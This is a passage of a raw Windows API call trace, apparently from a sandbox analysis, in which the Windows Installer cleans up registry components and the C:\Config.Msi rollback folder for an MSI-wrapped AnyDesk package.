pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.473] GetCurrentThreadId () returned 0xf50 [0210.473] GetCurrentThreadId () returned 0xf50 [0210.473] SetEvent (hEvent=0x170) returned 1 [0210.474] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.474] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdf30, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0210.474] lstrlenW (lpString="C:\\Windows") returned 10 [0210.475] lstrlenW (lpString="\\") returned 1 [0210.475] lstrlenW (lpString="Installer") returned 9 [0210.475] lstrlenW (lpString="\\") returned 1 [0210.475] SetFilePointer (in: hFile=0x348, lDistanceToMove=582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x246 [0210.475] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x9e, lpOverlapped=0x0) returned 1 [0210.475] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5dc0, cchWideChar=38 | out: lpWideCharStr="{EDE10F6C-30F4-42CA-B5C7-ADB905E45BFC}") returned 38 [0210.475] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d96, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c57a0, cchWideChar=38 | out: lpWideCharStr="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0210.475] memcpy (in: _Dst=0x10ce018, _Src=0x3c7dbe, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.475] memcpy (in: _Dst=0x10ce018, _Src=0x3c7dc0, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.475] GetCurrentThreadId () returned 0xf50 [0210.475] GetCurrentThreadId () returned 0xf50 [0210.475] SetEvent (hEvent=0x170) returned 1 [0210.476] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.477] _vsnwprintf (in: _Buffer=0x10cd1a0, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10cd088 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0210.477] _vsnwprintf (in: _Buffer=0x10cd430, _BufferCount=0x3ff, _Format="%s\\%s\\%s", _ArgList=0x10cd178 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF") returned 113 [0210.477] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdca0 | out: phkResult=0x10cdca0*=0x1ec) returned 0x0 [0210.477] RegQueryValueExW (in: hKey=0x1ec, lpValueName="8F3854CA4966E374BB7723DCCFB99A04", lpReserved=0x0, lpType=0x10cdc30, lpData=0x10cde00, lpcbData=0x10cdc90*=0x208 | out: lpType=0x10cdc30*=0x1, lpData="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser", lpcbData=0x10cdc90*=0x80) returned 0x0 [0210.477] RegCloseKey (hKey=0x1ec) returned 0x0 [0210.477] lstrlenW (lpString="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser") returned 63 [0210.477] lstrlenW (lpString="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser") returned 63 [0210.477] memcpy (in: _Dst=0x10cd0c0, _Src=0x10cde00, _Size=0x80 | out: _Dst=0x10cd0c0) returned 0x10cd0c0 [0210.477] memcpy (in: _Dst=0x335f60, _Src=0x10cd0c0, _Size=0x80 | out: _Dst=0x335f60) returned 0x335f60 [0210.478] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.478] lstrlenW (lpString="SFC") returned 3 [0210.478] GetSystemDirectoryW (in: lpBuffer=0x10cc8c0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0210.478] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SFC.DLL") returned 0x73440000 [0210.481] GetProcAddress (hModule=0x73440000, lpProcName="SfcIsKeyProtected") returned 0x7fef9821110 [0210.504] SfcIsKeyProtected () returned 0x0 [0210.505] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk", ulOptions=0x0, samDesired=0x20219, phkResult=0x10ccc38 | out: phkResult=0x10ccc38*=0x0) returned 0x2 [0210.505] lstrlenW (lpString="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser") returned 63 [0210.506] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData") returned 60 [0210.506] lstrlenW (lpString="\\") returned 1 [0210.506] lstrlenW (lpString="S-1-5-18") returned 8 [0210.506] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.506] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x2124b30, lpdwDisposition=0x0 | out: phkResult=0x2124b30*=0x1ec, lpdwDisposition=0x0) returned 0x0 [0210.506] lstrlenW (lpString="Components") returned 10 [0210.507] lstrlenW (lpString="\\") returned 1 [0210.507] lstrlenW (lpString="C6F01EDE4F03AC245B7CDA9B504EB5CF") returned 32 [0210.507] lstrlenW (lpString="Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF") returned 43 [0210.507] RegOpenKeyExW (in: hKey=0x1ec, lpSubKey="Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF", ulOptions=0x0, samDesired=0x20119, phkResult=0x34bb48 | out: phkResult=0x34bb48*=0x368) returned 0x0 [0210.507] RegQueryValueExW (in: hKey=0x368, lpValueName="8F3854CA4966E374BB7723DCCFB99A04", lpReserved=0x0, lpType=0x10cded0, lpData=0x10cdef0, lpcbData=0x10cde90*=0x100 | out: lpType=0x10cded0*=0x1, lpData="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser", lpcbData=0x10cde90*=0x80) returned 0x0 [0210.507] lstrlenW (lpString="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser") returned 63 [0210.507] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.507] RegCloseKey (hKey=0x368) returned 0x0 [0210.507] RegOpenKeyExW (in: hKey=0x1ec, lpSubKey="Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF", ulOptions=0x0, samDesired=0x2011f, phkResult=0x34bb48 | out: phkResult=0x34bb48*=0x368) returned 0x0 [0210.508] RegDeleteValueW (hKey=0x368, lpValueName="8F3854CA4966E374BB7723DCCFB99A04") returned 0x0 [0210.508] RegCloseKey (hKey=0x368) returned 0x0 [0210.508] lstrlenW (lpString="Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF") returned 43 [0210.508] RegOpenKeyExW (in: hKey=0x1ec, lpSubKey="Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF", ulOptions=0x0, samDesired=0x20119, phkResult=0x10cdf30 | out: phkResult=0x10cdf30*=0x368) returned 0x0 [0210.508] RegQueryInfoKeyW (in: hKey=0x368, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10cdf70, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10cdf78, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10cdf70*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10cdf78*=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.508] RegCloseKey (hKey=0x368) returned 0x0 [0210.508] RegOpenKeyExW (in: hKey=0x1ec, lpSubKey="Components", ulOptions=0x0, samDesired=0x20119, phkResult=0x10cdf30 | out: phkResult=0x10cdf30*=0x368) returned 0x0 [0210.508] RegDeleteKeyW (hKey=0x368, lpSubKey="C6F01EDE4F03AC245B7CDA9B504EB5CF") returned 0x0 [0210.510] RegQueryInfoKeyW (in: hKey=0x368, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10cdf70, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10cdf78, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10cdf70*=0x16c2, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10cdf78*=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.510] RegCloseKey (hKey=0x368) returned 0x0 [0210.510] SetFilePointer (in: hFile=0x348, lDistanceToMove=720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0 [0210.510] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x14, lpOverlapped=0x0) returned 1 [0210.510] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.511] GlobalLock (hMem=0xf40208) returned 0x3e92c70 [0210.511] lstrlenW (lpString="Name") returned 4 [0210.511] lstrlenW (lpString="Table") returned 5 [0210.511] lstrlenW (lpString="Number") returned 6 [0210.511] lstrlenW (lpString="Name") returned 4 [0210.511] lstrlenW (lpString="Type") returned 4 [0210.511] GlobalLock (hMem=0xf40218) returned 0x3c1590 [0210.511] GlobalLock (hMem=0xf40228) returned 0x3cce70 [0210.511] lstrlenW (lpString="#TEMP0002") returned 9 [0210.511] lstrlenW (lpString="#TEMP0003") returned 9 [0210.537] GlobalLock (hMem=0xf401f8) returned 0x210cd70 [0210.537] GlobalLock (hMem=0xf401e8) returned 0x21009d0 [0210.537] SetLastError (dwErrCode=0x0) [0210.537] memcpy (in: _Dst=0x10ce232, _Src=0x10ce088, _Size=0x2 | out: _Dst=0x10ce232) returned 0x10ce232 [0210.537] memcpy (in: _Dst=0x29f80cc, _Src=0x10ce230, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.537] memcpy (in: _Dst=0x29f80d2, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.537] memcpy (in: _Dst=0x29f80ea, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.537] SetLastError (dwErrCode=0x0) [0210.537] memcpy (in: _Dst=0x10ce232, _Src=0x10ce088, _Size=0x2 | out: _Dst=0x10ce232) returned 0x10ce232 [0210.537] memcpy (in: _Dst=0x29f80ea, _Src=0x10ce230, _Size=0x6 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.537] SetLastError (dwErrCode=0x0) [0210.538] memcpy (in: _Dst=0x10ce232, _Src=0x10ce088, _Size=0x2 | out: _Dst=0x10ce232) returned 0x10ce232 [0210.538] memcpy (in: _Dst=0x29f84c4, _Src=0x10ce230, _Size=0x6 | out: _Dst=0x29f84c4) returned 0x29f84c4 [0210.538] memcpy (in: _Dst=0x29f80f2, _Src=0x29f84c0, _Size=0xa | out: _Dst=0x29f80f2) returned 0x29f80f2 [0210.538] GetCurrentThreadId () returned 0xf50 [0210.538] GetCurrentThreadId () returned 0xf50 [0210.538] SetEvent (hEvent=0x170) returned 1 [0210.539] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.539] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.539] lstrlenW (lpString="KERNELBASE") returned 10 [0210.539] GetSystemDirectoryW (in: lpBuffer=0x10ce4f0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0210.539] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\KERNELBASE.DLL") returned 0x7fefcd20000 [0210.540] GetProcAddress (hModule=0x7fefcd20000, lpProcName="NotifyRedirectedStringChange") returned 0x7fefcd62ad0 [0210.540] NotifyRedirectedStringChange () returned 0x1 [0210.544] GetCurrentThreadId () returned 0xf50 [0210.544] GetCurrentThreadId () returned 0xf50 [0210.544] SetEvent (hEvent=0x170) returned 1 [0210.568] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.568] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.568] CloseHandle (hObject=0x348) returned 1 [0210.569] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.569] lstrlenW (lpString="1876f01.rbs") returned 11 [0210.569] lstrlenW (lpString="1876f01.rbs") returned 11 [0210.569] lstrlenW (lpString="1876f01.rbs") returned 11 [0210.569] lstrlenW (lpString="1876f01.rbs") returned 11 [0210.569] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs"), fInfoLevelId=0x0, lpFileInformation=0x10ce700 | out: lpFileInformation=0x10ce700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f193f70, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7f193f70, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x94b07830, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1 [0210.569] lstrlenW (lpString="1876f01.rbs") returned 11 [0210.570] GetProcAddress (hModule=0x73440000, lpProcName="SfcIsFileProtected") returned 0x7fef98216f0 [0210.570] SfcIsFileProtected () returned 0x0 [0210.599] lstrlenW (lpString="Config.Msi") returned 10 [0210.599] lstrlenW (lpString="Config.Msi") returned 10 [0210.599] wcsstr (_Str="c:\\config.msi\\", _SubStr="config.msi") returned="config.msi\\" [0210.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.599] lstrlenW (lpString="#TEMP0004") returned 9 [0210.599] GlobalLock (hMem=0xf40238) returned 0x3b50ee0 [0210.599] UrlIsW (pszUrl="C:", UrlIs=0x0) returned 0 [0210.600] lstrlenW (lpString="C:") returned 2 [0210.600] lstrlenW (lpString="\\") returned 1 [0210.600] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.600] GetFileAttributesW (lpFileName="C:" (normalized: "c:")) returned 0x10 [0210.600] lstrlenW (lpString="Config.Msi") returned 10 [0210.600] lstrlenW (lpString="\\") returned 1 [0210.600] lstrlenW (lpString="\\\\") returned 2 [0210.600] wcsstr (_Str="Config.Msi", _SubStr="\\\\") returned 0x0 [0210.600] lstrlenW (lpString="Config.Msi") returned 10 [0210.600] lstrlenW (lpString="Config.Msi") returned 10 [0210.600] lstrlenW (lpString="\\") returned 1 [0210.601] lstrlenW (lpString="\\") returned 1 [0210.601] lstrlenW (lpString="C:\\Config.Msi") returned 13 [0210.601] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x10ce3a0 | out: lpFileInformation=0x10ce3a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f16de10, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7f193f70, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7f193f70, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0210.601] GetTempFileNameW (in: lpPathName="C:\\Config.Msi", lpPrefixString="MSI", uUnique=0x0, lpTempFileName=0x10ce4c0 | out: lpTempFileName="C:\\Config.Msi\\MSI36A6.tmp" (normalized: "c:\\config.msi\\msi36a6.tmp")) returned 0x36a6 [0210.602] DeleteFileW (lpFileName="C:\\Config.Msi\\MSI36A6.tmp" (normalized: "c:\\config.msi\\msi36a6.tmp")) returned 1 [0210.602] GetLastError () returned 0x0 [0210.603] lstrlenW (lpString="C:\\Config.Msi\\") returned 14 [0210.603] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x10ce660 | out: lpFileInformation=0x10ce660*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f16de10, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x94e4d670, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x94e4d670, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0210.603] GetCurrentThread () returned 0xfffffffffffffffe [0210.603] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ce630 | out: TokenHandle=0x10ce630*=0xe) returned 0 [0210.603] GetLastError () returned 0x3f0 [0210.603] GetCurrentProcess () returned 0xffffffffffffffff [0210.603] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ce630 | out: TokenHandle=0x10ce630*=0x370) returned 1 [0210.603] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10ce63c | out: lpLuid=0x10ce63c*(LowPart=0x12, HighPart=0)) returned 1 [0210.609] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10ce648 | out: lpLuid=0x10ce648*(LowPart=0x9, HighPart=0)) returned 1 [0210.610] AdjustTokenPrivileges (in: TokenHandle=0x370, DisableAllPrivileges=0, NewState=0x10ce638*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0210.610] CloseHandle (hObject=0x370) returned 1 [0210.610] GetLastError () returned 0x0 [0210.610] SetFileSecurityW (lpFileName="C:\\Config.Msi\\", SecurityInformation=0x1, pSecurityDescriptor=0x7fef7b24690) returned 1 [0210.611] SetFileSecurityW (lpFileName="C:\\Config.Msi\\", SecurityInformation=0x4, pSecurityDescriptor=0x7fef7b24690) returned 1 [0210.611] GetCurrentThread () returned 0xfffffffffffffffe [0210.611] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ce630 | out: TokenHandle=0x10ce630*=0x7) returned 0 [0210.611] GetLastError () returned 0x3f0 [0210.611] GetCurrentProcess () returned 0xffffffffffffffff [0210.611] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ce630 | out: TokenHandle=0x10ce630*=0x370) returned 1 [0210.611] AdjustTokenPrivileges (in: TokenHandle=0x370, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0210.612] CloseHandle (hObject=0x370) returned 1 [0210.612] GetLastError () returned 0x0 [0210.612] lstrcmpiW (lpString1="\\Config.Msi\\", lpString2="\\Config.Msi\\") returned 0 [0210.612] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.612] GetCurrentThread () returned 0xfffffffffffffffe [0210.612] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ce710 | out: TokenHandle=0x10ce710*=0x0) returned 0 [0210.612] GetLastError () returned 0x3f0 [0210.612] GetCurrentProcess () returned 0xffffffffffffffff [0210.612] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ce710 | out: TokenHandle=0x10ce710*=0x370) returned 1 [0210.612] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10ce71c | out: lpLuid=0x10ce71c*(LowPart=0x12, HighPart=0)) returned 1 [0210.613] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10ce728 | out: lpLuid=0x10ce728*(LowPart=0x9, HighPart=0)) returned 1 [0210.614] AdjustTokenPrivileges (in: TokenHandle=0x370, DisableAllPrivileges=0, NewState=0x10ce718*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0210.614] CloseHandle (hObject=0x370) returned 1 [0210.614] GetLastError () returned 0x0 [0210.614] SetFileSecurityW (lpFileName="C:\\Config.Msi\\1876f01.rbs", SecurityInformation=0x1, pSecurityDescriptor=0x7fef7b24890) returned 1 [0210.615] SetFileSecurityW (lpFileName="C:\\Config.Msi\\1876f01.rbs", SecurityInformation=0x4, pSecurityDescriptor=0x7fef7b24890) returned 1 [0210.615] GetCurrentThread () returned 0xfffffffffffffffe [0210.615] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ce710 | out: TokenHandle=0x10ce710*=0x7) returned 0 [0210.615] GetLastError () returned 0x3f0 [0210.615] GetCurrentProcess () returned 0xffffffffffffffff [0210.615] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ce710 | out: TokenHandle=0x10ce710*=0x370) returned 1 [0210.615] AdjustTokenPrivileges (in: TokenHandle=0x370, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0210.615] CloseHandle (hObject=0x370) returned 1 [0210.615] GetLastError () returned 0x0 [0210.615] lstrlenW (lpString="1876f01.rbs") returned 11 [0210.615] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs"), fInfoLevelId=0x0, lpFileInformation=0x10ce700 | out: lpFileInformation=0x10ce700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f193f70, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7f193f70, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x94b07830, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1 [0210.615] DeleteFileW (lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs")) returned 1 [0210.617] GetLastError () returned 0x0 [0210.617] lstrlenW (lpString="") returned 0 [0210.617] RegQueryValueExW (in: hKey=0x1dc, lpValueName="C:\\Config.Msi\\", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.621] RegQueryValueExW (in: hKey=0x1dc, lpValueName="C:\\Config.Msi\\", lpReserved=0x0, lpType=0x10ce5b0, lpData=0x10ce5d0, lpcbData=0x10ce570*=0x100 | out: lpType=0x10ce5b0*=0x1, lpData="", lpcbData=0x10ce570*=0x2) returned 0x0 [0210.621] lstrlenW (lpString="") returned 0 [0210.621] GetFileAttributesExW (in: lpFileName="", fInfoLevelId=0x0, lpFileInformation=0x10ce5d0 | out: lpFileInformation=0x10ce5d0*(dwFileAttributes=0x21016c0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf79e2b86, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xf791b174, nFileSizeHigh=0x7fe, nFileSizeLow=0x0)) returned 0 [0210.621] GetLastError () returned 0x3 [0210.621] GetLastError () returned 0x3 [0210.622] RemoveDirectoryW (lpPathName="C:\\Config.Msi" (normalized: "c:\\config.msi")) returned 1 [0210.622] GetLastError () returned 0x3 [0210.622] lstrlenW (lpString="C:\\Config.Msi\\") returned 14 [0210.623] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x10ce6d0 | out: lpFileInformation=0x10ce6d0*(dwFileAttributes=0x10ce750, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x327710, nFileSizeHigh=0x0, nFileSizeLow=0x348ca0)) returned 0 [0210.623] GetLastError () returned 0x2 [0210.623] GetLastError () returned 0x2 [0210.623] lstrlenW (lpString="") returned 0 [0210.623] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.623] RegDeleteValueW (hKey=0x1dc, lpValueName="C:\\Config.Msi\\") returned 0x0 [0210.624] RegCloseKey (hKey=0x1dc) returned 0x0 [0210.624] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Folders") returned 59 [0210.624] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce630 | out: phkResult=0x10ce630*=0x1dc) returned 0x0 [0210.624] RegQueryInfoKeyW (in: hKey=0x1dc, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10ce670, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce678, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10ce670*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce678*=0x34d, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.624] RegCloseKey (hKey=0x1dc) returned 0x0 [0210.624] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.624] SetLastError (dwErrCode=0x0) [0210.624] memcpy (in: _Dst=0x10ce442, _Src=0x10ce298, _Size=0x2 | out: _Dst=0x10ce442) returned 0x10ce442 [0210.624] memcpy (in: _Dst=0x29f80cc, _Src=0x10ce440, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.625] memcpy (in: _Dst=0x29f80d2, _Src=0x3d6bb2, _Size=0x18 | out: 